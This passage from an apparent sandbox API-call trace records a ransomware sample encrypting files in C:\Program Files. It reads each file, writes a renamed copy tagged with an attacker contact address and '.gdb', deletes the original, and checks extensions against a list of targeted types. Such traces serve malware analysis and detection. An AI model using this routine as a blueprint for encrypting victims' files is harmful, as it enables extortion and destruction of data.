lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0129.030] WriteFile (in: hFile=0x1d4, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0129.030] SetEndOfFile (hFile=0x1d4) returned 1 [0129.030] CloseHandle (hObject=0x1d4) returned 1 [0129.031] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0129.031] SetEndOfFile (hFile=0x200) returned 1 [0129.032] CloseHandle (hObject=0x200) returned 1 [0129.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0129.032] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0129.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0129.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0129.034] lstrlenW (lpString=".doc") returned 4 [0129.034] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0129.034] lstrlenW (lpString=".docx") returned 5 [0129.034] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0129.034] lstrlenW (lpString=".pdf") returned 4 [0129.034] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0129.034] lstrlenW (lpString=".xls") returned 4 [0129.034] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0129.034] lstrlenW (lpString=".xlsx") returned 5 [0129.034] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0129.034] lstrlenW (lpString=".ppt") returned 4 [0129.035] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0129.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0129.035] lstrlenW (lpString=".zip") returned 4 [0129.035] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0129.035] lstrlenW (lpString=".rar") returned 4 [0129.035] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0129.035] lstrlenW (lpString=".bz2") returned 4 [0129.035] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0129.035] lstrlenW (lpString=".7z") returned 3 [0129.035] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0129.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0129.035] lstrlenW (lpString=".dbf") returned 4 [0129.035] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0129.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0129.035] lstrlenW (lpString=".1cd") returned 4 [0129.035] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0129.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0129.035] lstrlenW (lpString=".jpg") returned 4 [0129.035] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0129.073] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0129.073] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0129.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0129.074] GetLastError () returned 0x0 [0129.074] ReadFile (in: hFile=0x200, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x2cc, lpOverlapped=0x0) returned 1 [0129.110] WriteFile (in: hFile=0x1d4, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x2d0, lpOverlapped=0x0) returned 1 [0129.112] ReadFile (in: hFile=0x200, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0129.112] WriteFile (in: hFile=0x1d4, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xfc, lpOverlapped=0x0) returned 1 [0129.112] SetEndOfFile (hFile=0x1d4) returned 1 [0129.112] CloseHandle (hObject=0x1d4) returned 1 [0129.112] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0129.112] SetEndOfFile (hFile=0x200) returned 1 [0129.113] CloseHandle (hObject=0x200) returned 1 [0129.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0129.114] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0129.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0129.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0129.114] lstrlenW (lpString=".doc") returned 4 [0129.114] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0129.114] lstrlenW (lpString=".docx") returned 5 [0129.114] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0129.114] lstrlenW (lpString=".pdf") returned 4 [0129.114] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0129.114] lstrlenW (lpString=".xls") returned 4 [0129.114] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0129.114] lstrlenW (lpString=".xlsx") returned 5 [0129.114] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0129.115] lstrlenW (lpString=".ppt") returned 4 [0129.115] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0129.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0129.115] lstrlenW (lpString=".zip") returned 4 [0129.115] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0129.115] lstrlenW (lpString=".rar") returned 4 [0129.115] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0129.115] lstrlenW (lpString=".bz2") returned 4 [0129.115] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0129.115] lstrlenW (lpString=".7z") returned 3 [0129.115] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0129.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0129.115] lstrlenW (lpString=".dbf") returned 4 [0129.115] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0129.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0129.115] lstrlenW (lpString=".1cd") returned 4 [0129.115] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0129.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0129.115] lstrlenW (lpString=".jpg") returned 4 [0129.115] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0129.455] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0129.455] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0129.455] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0129.455] GetLastError () returned 0x0 [0129.455] ReadFile (in: hFile=0x1fc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0xae, lpOverlapped=0x0) returned 1 [0129.456] WriteFile (in: hFile=0x208, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xb0, lpOverlapped=0x0) returned 1 [0129.457] ReadFile (in: hFile=0x1fc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0129.457] WriteFile (in: hFile=0x208, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0129.458] SetEndOfFile (hFile=0x208) returned 1 [0129.458] CloseHandle (hObject=0x208) returned 1 [0129.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0129.458] SetEndOfFile (hFile=0x1fc) returned 1 [0129.459] CloseHandle (hObject=0x1fc) returned 1 [0129.459] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x26) returned 1 [0129.459] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0129.459] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0129.459] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0129.459] lstrlenW (lpString=".doc") returned 4 [0129.459] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0129.459] lstrlenW (lpString=".docx") returned 5 [0129.459] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0129.459] lstrlenW (lpString=".pdf") returned 4 [0129.459] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0129.459] lstrlenW (lpString=".xls") returned 4 [0129.459] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0129.459] lstrlenW (lpString=".xlsx") returned 5 [0129.459] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0129.459] lstrlenW (lpString=".ppt") returned 4 [0129.459] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0129.459] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0129.460] lstrlenW (lpString=".zip") returned 4 [0129.460] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0129.460] lstrlenW (lpString=".rar") returned 4 [0129.460] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0129.460] lstrlenW (lpString=".bz2") returned 4 [0129.460] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0129.460] lstrlenW (lpString=".7z") returned 3 [0129.460] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0129.460] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0129.460] lstrlenW (lpString=".dbf") returned 4 [0129.460] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0129.460] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0129.460] lstrlenW (lpString=".1cd") returned 4 [0129.460] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0129.460] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0129.460] lstrlenW (lpString=".jpg") returned 4 [0129.460] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0129.913] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0129.913] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0129.914] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0129.914] lstrlenW (lpString=".doc") returned 4 [0129.914] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0129.914] lstrlenW (lpString=".docx") returned 5 [0129.914] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1 [0129.914] lstrlenW (lpString=".pdf") returned 4 [0129.914] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0129.914] lstrlenW (lpString=".xls") returned 4 [0129.914] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0129.914] lstrlenW (lpString=".xlsx") returned 5 [0129.914] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1 [0129.914] lstrlenW (lpString=".ppt") returned 4 [0129.914] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0129.914] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0129.914] lstrlenW (lpString=".zip") returned 4 [0129.914] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0129.914] lstrlenW (lpString=".rar") returned 4 [0129.914] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0129.914] lstrlenW (lpString=".bz2") returned 4 [0129.914] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0129.914] lstrlenW (lpString=".7z") returned 3 [0129.914] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0129.914] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0129.914] lstrlenW (lpString=".dbf") returned 4 [0129.914] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0129.914] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0129.914] lstrlenW (lpString=".1cd") returned 4 [0129.914] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0129.914] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0129.914] lstrlenW (lpString=".jpg") returned 4 [0129.914] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0129.915] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0129.915] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0129.915] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0129.915] lstrlenW (lpString=".doc") returned 4 [0129.915] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0129.915] lstrlenW (lpString=".docx") returned 5 [0129.915] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0129.915] lstrlenW (lpString=".pdf") returned 4 [0129.915] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0129.915] lstrlenW (lpString=".xls") returned 4 [0129.915] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0129.915] lstrlenW (lpString=".xlsx") returned 5 [0129.915] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0129.915] lstrlenW (lpString=".ppt") returned 4 [0129.915] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0129.915] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0129.915] lstrlenW (lpString=".zip") returned 4 [0129.915] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0129.915] lstrlenW (lpString=".rar") returned 4 [0129.915] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0129.915] lstrlenW (lpString=".bz2") returned 4 [0129.915] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0129.915] lstrlenW (lpString=".7z") returned 3 [0129.916] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0129.916] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0129.916] lstrlenW (lpString=".dbf") returned 4 [0129.916] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0129.916] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0129.916] lstrlenW (lpString=".1cd") returned 4 [0129.916] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0129.916] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0129.916] lstrlenW (lpString=".jpg") returned 4 [0129.916] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0131.559] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0131.559] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0131.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0131.559] GetLastError () returned 0x0 [0131.559] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x7d92, lpOverlapped=0x0) returned 1 [0131.561] WriteFile (in: hFile=0x214, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x7da0, lpOverlapped=0x0) returned 1 [0131.562] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0131.562] WriteFile (in: hFile=0x214, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0131.563] SetEndOfFile (hFile=0x214) returned 1 [0131.563] CloseHandle (hObject=0x214) returned 1 [0131.563] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0131.563] SetEndOfFile (hFile=0x220) returned 1 [0131.564] CloseHandle (hObject=0x220) returned 1 [0131.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0131.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0131.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0131.564] lstrlenW (lpString=".doc") returned 4 [0131.564] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.564] lstrlenW (lpString=".docx") returned 5 [0131.565] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0131.565] lstrlenW (lpString=".pdf") returned 4 [0131.565] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.565] lstrlenW (lpString=".xls") returned 4 [0131.565] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.565] lstrlenW (lpString=".xlsx") returned 5 [0131.565] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0131.565] lstrlenW (lpString=".ppt") returned 4 [0131.565] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0131.565] lstrlenW (lpString=".zip") returned 4 [0131.565] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.565] lstrlenW (lpString=".rar") returned 4 [0131.565] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.565] lstrlenW (lpString=".bz2") returned 4 [0131.565] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.565] lstrlenW (lpString=".7z") returned 3 [0131.565] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0131.565] lstrlenW (lpString=".dbf") returned 4 [0131.565] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0131.565] lstrlenW (lpString=".1cd") returned 4 [0131.565] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0131.565] lstrlenW (lpString=".jpg") returned 4 [0131.565] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0131.566] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0131.566] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0131.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0131.566] GetLastError () returned 0x0 [0131.566] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x745e, lpOverlapped=0x0) returned 1 [0131.569] WriteFile (in: hFile=0x214, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x7460, lpOverlapped=0x0) returned 1 [0131.570] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0131.570] WriteFile (in: hFile=0x214, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe8, lpOverlapped=0x0) returned 1 [0131.570] SetEndOfFile (hFile=0x214) returned 1 [0131.571] CloseHandle (hObject=0x214) returned 1 [0131.571] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0131.571] SetEndOfFile (hFile=0x220) returned 1 [0131.571] CloseHandle (hObject=0x220) returned 1 [0131.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0131.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0131.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0131.572] lstrlenW (lpString=".doc") returned 4 [0131.572] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.572] lstrlenW (lpString=".docx") returned 5 [0131.572] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0131.572] lstrlenW (lpString=".pdf") returned 4 [0131.572] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.572] lstrlenW (lpString=".xls") returned 4 [0131.572] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.572] lstrlenW 